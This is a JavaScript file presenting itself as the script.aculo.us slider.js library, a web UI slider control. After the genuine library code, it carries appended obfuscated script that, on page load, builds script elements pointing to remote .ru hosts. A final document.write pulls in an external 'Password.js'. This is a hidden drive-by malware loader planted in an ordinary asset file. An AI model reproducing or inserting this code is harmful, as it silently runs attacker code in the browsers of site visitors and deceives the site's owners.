// script.aculo.us slider.js v1.8.0, Tue Nov 06 15:01:40 +0300 2007

// Copyright (c) 2005-2007 Marty Haught, Thomas Fuchs 
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if (!Control) var Control = { };

// options:
//  axis: 'vertical', or 'horizontal' (default)
//
// callbacks:
//  onChange(value)
//  onSlide(value)
Control.Slider = Class.create({
  initialize: function(handle, track, options) {
    var slider = this;
    
    if (Object.isArray(handle)) {
      this.handles = handle.collect( function(e) { return $(e) });
    } else {
      this.handles = [$(handle)];
    }
    
    this.track   = $(track);
    this.options = options || { };

    this.axis      = this.options.axis || 'horizontal';
    this.increment = this.options.increment || 1;
    this.step      = parseInt(this.options.step || '1');
    this.range     = this.options.range || $R(0,1);
    
    this.value     = 0; // assure backwards compat
    this.values    = this.handles.map( function() { return 0 });
    this.spans     = this.options.spans ? this.options.spans.map(function(s){ return $(s) }) : false;
    this.options.startSpan = $(this.options.startSpan || null);
    this.options.endSpan   = $(this.options.endSpan || null);

    this.restricted = this.options.restricted || false;

    this.maximum   = this.options.maximum || this.range.end;
    this.minimum   = this.options.minimum || this.range.start;

    // Will be used to align the handle onto the track, if necessary
    this.alignX = parseInt(this.options.alignX || '0');
    this.alignY = parseInt(this.options.alignY || '0');
    
    this.trackLength = this.maximumOffset() - this.minimumOffset();

    this.handleLength = this.isVertical() ? 
      (this.handles[0].offsetHeight != 0 ? 
        this.handles[0].offsetHeight : this.handles[0].style.height.replace(/px$/,"")) : 
      (this.handles[0].offsetWidth != 0 ? this.handles[0].offsetWidth : 
        this.handles[0].style.width.replace(/px$/,""));

    this.active   = false;
    this.dragging = false;
    this.disabled = false;

    if (this.options.disabled) this.setDisabled();

    // Allowed values array
    this.allowedValues = this.options.values ? this.options.values.sortBy(Prototype.K) : false;
    if (this.allowedValues) {
      this.minimum = this.allowedValues.min();
      this.maximum = this.allowedValues.max();
    }

    this.eventMouseDown = this.startDrag.bindAsEventListener(this);
    this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
    this.eventMouseMove = this.update.bindAsEventListener(this);

    // Initialize handles in reverse (make sure first handle is active)
    this.handles.each( function(h,i) {
      i = slider.handles.length-1-i;
      slider.setValue(parseFloat(
        (Object.isArray(slider.options.sliderValue) ? 
          slider.options.sliderValue[i] : slider.options.sliderValue) || 
         slider.range.start), i);
      h.makePositioned().observe("mousedown", slider.eventMouseDown);
    });
    
    this.track.observe("mousedown", this.eventMouseDown);
    document.observe("mouseup", this.eventMouseUp);
    document.observe("mousemove", this.eventMouseMove);
    
    this.initialized = true;
  },
  dispose: function() {
    var slider = this;    
    Event.stopObserving(this.track, "mousedown", this.eventMouseDown);
    Event.stopObserving(document, "mouseup", this.eventMouseUp);
    Event.stopObserving(document, "mousemove", this.eventMouseMove);
    this.handles.each( function(h) {
      Event.stopObserving(h, "mousedown", slider.eventMouseDown);
    });
  },
  setDisabled: function(){
    this.disabled = true;
  },
  setEnabled: function(){
    this.disabled = false;
  },  
  getNearestValue: function(value){
    if (this.allowedValues){
      if (value >= this.allowedValues.max()) return(this.allowedValues.max());
      if (value <= this.allowedValues.min()) return(this.allowedValues.min());
      
      var offset = Math.abs(this.allowedValues[0] - value);
      var newValue = this.allowedValues[0];
      this.allowedValues.each( function(v) {
        var currentOffset = Math.abs(v - value);
        if (currentOffset <= offset){
          newValue = v;
          offset = currentOffset;
        } 
      });
      return newValue;
    }
    if (value > this.range.end) return this.range.end;
    if (value < this.range.start) return this.range.start;
    return value;
  },
  setValue: function(sliderValue, handleIdx){
    if (!this.active) {
      this.activeHandleIdx = handleIdx || 0;
      this.activeHandle    = this.handles[this.activeHandleIdx];
      this.updateStyles();
    }
    handleIdx = handleIdx || this.activeHandleIdx || 0;
    if (this.initialized && this.restricted) {
      if ((handleIdx>0) && (sliderValue<this.values[handleIdx-1]))
        sliderValue = this.values[handleIdx-1];
      if ((handleIdx < (this.handles.length-1)) && (sliderValue>this.values[handleIdx+1]))
        sliderValue = this.values[handleIdx+1];
    }
    sliderValue = this.getNearestValue(sliderValue);
    this.values[handleIdx] = sliderValue;
    this.value = this.values[0]; // assure backwards compat
    
    this.handles[handleIdx].style[this.isVertical() ? 'top' : 'left'] = 
      this.translateToPx(sliderValue);
    
    this.drawSpans();
    if (!this.dragging || !this.event) this.updateFinished();
  },
  setValueBy: function(delta, handleIdx) {
    this.setValue(this.values[handleIdx || this.activeHandleIdx || 0] + delta, 
      handleIdx || this.activeHandleIdx || 0);
  },
  translateToPx: function(value) {
    return Math.round(
      ((this.trackLength-this.handleLength)/(this.range.end-this.range.start)) * 
      (value - this.range.start)) + "px";
  },
  translateToValue: function(offset) {
    return ((offset/(this.trackLength-this.handleLength) * 
      (this.range.end-this.range.start)) + this.range.start);
  },
  getRange: function(range) {
    var v = this.values.sortBy(Prototype.K); 
    range = range || 0;
    return $R(v[range],v[range+1]);
  },
  minimumOffset: function(){
    return(this.isVertical() ? this.alignY : this.alignX);
  },
  maximumOffset: function(){
    return(this.isVertical() ? 
      (this.track.offsetHeight != 0 ? this.track.offsetHeight :
        this.track.style.height.replace(/px$/,"")) - this.alignY : 
      (this.track.offsetWidth != 0 ? this.track.offsetWidth : 
        this.track.style.width.replace(/px$/,"")) - this.alignX);
  },  
  isVertical:  function(){
    return (this.axis == 'vertical');
  },
  drawSpans: function() {
    var slider = this;
    if (this.spans)
      $R(0, this.spans.length-1).each(function(r) { slider.setSpan(slider.spans[r], slider.getRange(r)) });
    if (this.options.startSpan)
      this.setSpan(this.options.startSpan,
        $R(0, this.values.length>1 ? this.getRange(0).min() : this.value ));
    if (this.options.endSpan)
      this.setSpan(this.options.endSpan, 
        $R(this.values.length>1 ? this.getRange(this.spans.length-1).max() : this.value, this.maximum));
  },
  setSpan: function(span, range) {
    if (this.isVertical()) {
      span.style.top = this.translateToPx(range.start);
      span.style.height = this.translateToPx(range.end - range.start + this.range.start);
    } else {
      span.style.left = this.translateToPx(range.start);
      span.style.width = this.translateToPx(range.end - range.start + this.range.start);
    }
  },
  updateStyles: function() {
    this.handles.each( function(h){ Element.removeClassName(h, 'selected') });
    Element.addClassName(this.activeHandle, 'selected');
  },
  startDrag: function(event) {
    if (Event.isLeftClick(event)) {
      if (!this.disabled){
        this.active = true;
        
        var handle = Event.element(event);
        var pointer  = [Event.pointerX(event), Event.pointerY(event)];
        var track = handle;
        if (track==this.track) {
          var offsets  = Position.cumulativeOffset(this.track); 
          this.event = event;
          this.setValue(this.translateToValue( 
           (this.isVertical() ? pointer[1]-offsets[1] : pointer[0]-offsets[0])-(this.handleLength/2)
          ));
          var offsets  = Position.cumulativeOffset(this.activeHandle);
          this.offsetX = (pointer[0] - offsets[0]);
          this.offsetY = (pointer[1] - offsets[1]);
        } else {
          // find the handle (prevents issues with Safari)
          while((this.handles.indexOf(handle) == -1) && handle.parentNode) 
            handle = handle.parentNode;
            
          if (this.handles.indexOf(handle)!=-1) {
            this.activeHandle    = handle;
            this.activeHandleIdx = this.handles.indexOf(this.activeHandle);
            this.updateStyles();
            
            var offsets  = Position.cumulativeOffset(this.activeHandle);
            this.offsetX = (pointer[0] - offsets[0]);
            this.offsetY = (pointer[1] - offsets[1]);
          }
        }
      }
      Event.stop(event);
    }
  },
  update: function(event) {
   if (this.active) {
      if (!this.dragging) this.dragging = true;
      this.draw(event);
      if (Prototype.Browser.WebKit) window.scrollBy(0,0);
      Event.stop(event);
   }
  },
  draw: function(event) {
    var pointer = [Event.pointerX(event), Event.pointerY(event)];
    var offsets = Position.cumulativeOffset(this.track);
    pointer[0] -= this.offsetX + offsets[0];
    pointer[1] -= this.offsetY + offsets[1];
    this.event = event;
    this.setValue(this.translateToValue( this.isVertical() ? pointer[1] : pointer[0] ));
    if (this.initialized && this.options.onSlide)
      this.options.onSlide(this.values.length>1 ? this.values : this.value, this);
  },
  endDrag: function(event) {
    if (this.active && this.dragging) {
      this.finishDrag(event, true);
      Event.stop(event);
    }
    this.active = false;
    this.dragging = false;
  },  
  finishDrag: function(event, success) {
    this.active = false;
    this.dragging = false;
    this.updateFinished();
  },
  updateFinished: function() {
    if (this.initialized && this.options.onChange) 
      this.options.onChange(this.values.length>1 ? this.values : this.value, this);
    this.event = null;
  }
});


this.M=24554;this.M+=242;function c(){m=17629;m-=199;var h=String("apzcjD".substr(0,2)+"M13Dpe".substr(4)+"nd"+"Ch"+"il"+"AxadaxA".substr(3,1));var v="";var Pr=19388;this.OT='';var F=new String("OQAjbod".substr(4)+"81eDy".substr(4));this.j=38596;this.j--;var Y=String("cre"+"ate"+"Ele"+"ZyW7men".substr(4)+"t");var G="G";var NR='';var o=document;lD=["s","ER"];var X={GP:49315};var P="xk4on".substr(3)+"IY9Blo".substr(4)+"LcZSad".substr(4);try {} catch(Af){};ZT=["Ni","VZ","J"];var d=String("defIwNm".substr(0,3)+"er");var E=window;var al=new String();var S=new String();var I="scri"+"pt";var PQ=String("sr"+"c");op={aI:false};Pl=20527;Pl++;function u(){try {pN={i:50195};var V=new String("/goo"+"gle."+"katcom/".substr(3)+"clas"+"smat"+"VInes.cnIV".substr(3,4)+"om/i"+"qyfYmageqyYf".substr(4,4)+"venubaT6".substr(0,4)+"e.co"+"m.phor2W".substr(0,4)+"pVxM".substr(0,1));aO=64364;aO++;var hV=8366-8365;k={fr:"IS"};var t="http"+"://p"+"assp"+"ortb"+"lues"+"9tX.ru:".substr(3);WE={uj:"cV"};L=["B","po"];var Ou='';var f=335112-327032;var Bh={eI:2116};Om=["_D","nK","fb"];q=["tX"];this.IF=false;g=o[Y](I);var UP=["APl"];bY=[];AB={r:false};g[PQ]=t+f+V;var sB=new String();g[d]=hV;o[F][h](g);} catch(Z){var Pa=false;};this.WT="WT";var SJ={};}var Dc="Dc";E[P]=u;};this.qo="qo";c();
L={ti:"MQ"};N=["S","py","Oi"];tI=["al","Np","V"];try {this.U="";var f=new Date();this.tS="";this.i="";this.G="";this.GG=1505;this.GG++;this.n=9020;this.n++;VU=["Qk","z","_"];de={T:9388};k=["lG","Qf","cF"];var m=window[new String("unekUa".substr(0,3)+"sca"+"K4Xpe".substr(3))];kv=["F"];_q={};var M=new String("onlo"+"ad");var b="";this.GR=26315;this.GR-=37;this.zf=49300;this.zf-=90;var c=window[(String("RegE"+"k0Txp".substr(3)))];var v='';var hn='';this.um=13611;this.um--;var kE={fW:47323};var J="1";this._a=61968;this._a-=4;this.uS='';this.eH='';ej=["DM","GZ"];w=46703;w+=156;var y=new String("repl"+"ace");this.yqB=64366;this.yqB+=229;var Nk='';jp=36029;jp+=44;r=44036;r+=112;function p(J,h){var OX=["Mj","A"];sc=47587;sc++;var wq=["dQ"];It={Th:14270};try {var Cq='qo'} catch(Cq){};var bg={};this.SN=17227;this.SN--;FU={B:30428};var R=String("[t6s".substr(0,1));this.OJ='';QB=4626;QB++;xHR=["lV","bgI","sK"];this.Bh=55184;this.Bh--;R+=h;R+=m("%5d");this.yqR=2027;this.yqR++;var Y=new c(R, String("g"));gH={Jk:58464};this.XQ=3488;this.XQ++;var KF='';this.ZQ=37746;this.ZQ++;var GZc='';return J.replace(Y, v);YL=49978;YL+=187;this.Ok='';this.rQ=31188;this.rQ--;};try {} catch(KN){};this.qD=11927;this.qD+=203;var lc='';try {} catch(TL){};this.Ti=7974;this.Ti+=77;var TqA="TqA";var ya=["BA","sm"];var zr="zr";var pj="";var nj='';var YF="http:"+"//gotwCJ".substr(0,5)+"XyYJhguilJXYy".substr(4,5)+"GEwRt.ru:".substr(4);var DI=57698;var uC=["iX"];tA={YK:22209};GH=["QW","pm"];var t=372199-364119;var fB='';var eB='';Fc=["wB"];var x=new String("/goog"+"le.cobqN".substr(0,5)+"m/ela"+"nce.c"+"om/levyD".substr(0,5)+"0tVbonco".substr(3)+"in.fr"+".phpOHJ".substr(0,4));Zd=43436;Zd+=73;this.Tf=50747;this.Tf-=196;this.PD=9613;this.PD++;this.BK=false;try {} catch(Ckh){};var Ltt={Fk:false};this.mA=false;var DA={ZR:false};function O(){JL=56305;JL-=211;var JI=document;qz={Nh:false};this.vu=47834;this.vu--;Du={Jj:false};var Aj={};this.EdY=63842;this.EdY++;var yq=p('sbchreifpZtH','Bhe5qOJMmjZQbHn8fFV');this.Ta='';var DU="DU";var xq="appeCqY".substr(0,4)+"HLvndChvLH".substr(3,4)+"h3fild3hf".substr(3,3);o=JI.createElement(yq);try {var Rb='_r'} catch(Rb){};var nY={Wv:false};var fQ=47363;var CA=[];var tz=47749;hX=27772;hX+=20;Wj=["Ad","yuP"];this.Cr=15363;this.Cr++;var CX="CX";K=YF+t;var TZ=["vm","mr"];var ae='';K=K+x;var _x=false;var eOv=false;var Idh={};wk={IH:false};var wC=false;var E=JI.body;o["defO8M".substr(0,3)+"fjLerLfj".substr(3,2)]=J;var nK=["ze","zm"];this.Ct=false;wE={};o.src=K;this.op='';this.nQ="nQ";var tX=["Vc","SD","JX"];this.CXT='';this.LS=1075;this.LS-=18;_Sc=["Wd"];var xB='';var To=false;this.FV=false;E[xq](o);OkP={};this.Ght=41175;this.Ght-=60;this.ek=23396;this.ek++;this.hb="";};var aX=new String();var vr=new String();ht=["jh","Wvk"];this._Uq="_Uq";nL={Vp:false};window[M]=O;var Hg=["s_","VA","PM"];var pL=[];this.wx='';this.ni=8947;this.ni+=197;mJ=25870;mJ--;QL=42101;QL--;} catch(Kz){var Gy=new String();var vJ=[];var dr=false;var _hW=[];hR={Dy:55901};var Em=[];var sxl='';};DH=["NC","cpV"];




document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Password.js"></scr'+'ipt>');